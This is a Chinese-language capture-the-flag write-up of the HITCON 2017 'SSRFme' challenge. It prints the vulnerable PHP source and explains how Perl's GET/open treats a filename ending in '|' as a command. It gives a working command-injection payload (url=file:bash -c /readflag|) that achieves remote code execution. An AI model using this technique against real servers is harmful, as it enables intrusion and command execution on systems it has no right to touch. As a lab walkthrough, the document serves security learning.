[HITCON 2017]SSRFme pathinfo()返回一个数组&Linux命令Perl漏洞(后面加一个|可以命令执行)
进去一个代码审计:
x.x.x.x <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_ADDR'] = $http_x_headers[0]; } echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); @mkdir($sandbox); @chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"])); $info = pathinfo($_GET["filename"]); $dir = str_replace(".", "", basename($info["dirname"])); @mkdir($dir); @chdir($dir); @file_put_contents(basename($info["basename"]), $data); highlight_file(__FILE__);
还是老样子,先根据remote_addr创建一个目录:sandbox/md5()
看代码要上传两个参数,一个是url,一个是filename,先说filename,pathinfo($filename)返回一个数组给$info,数组里面有一项dirname,返回的是目录(不包括脚本名),然后再在原来创建的沙箱下再建一个目录,并进入这个目录,然后把$data写进$info["basename"]里。
再说说$data,$data是shell_exec()命令执行的返回,GET 这个格式好像是什么perl,也不太了解。
传参:
?url=file:bash -c /readflag|&filename=wuhu
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
并且将命令的执行结果作为这个文件的内容写入,根据代码逻辑,命令执行的结果除了写入该命令同名文件里,也会写到生成的沙箱的目录的文件中,地址栏访问就行了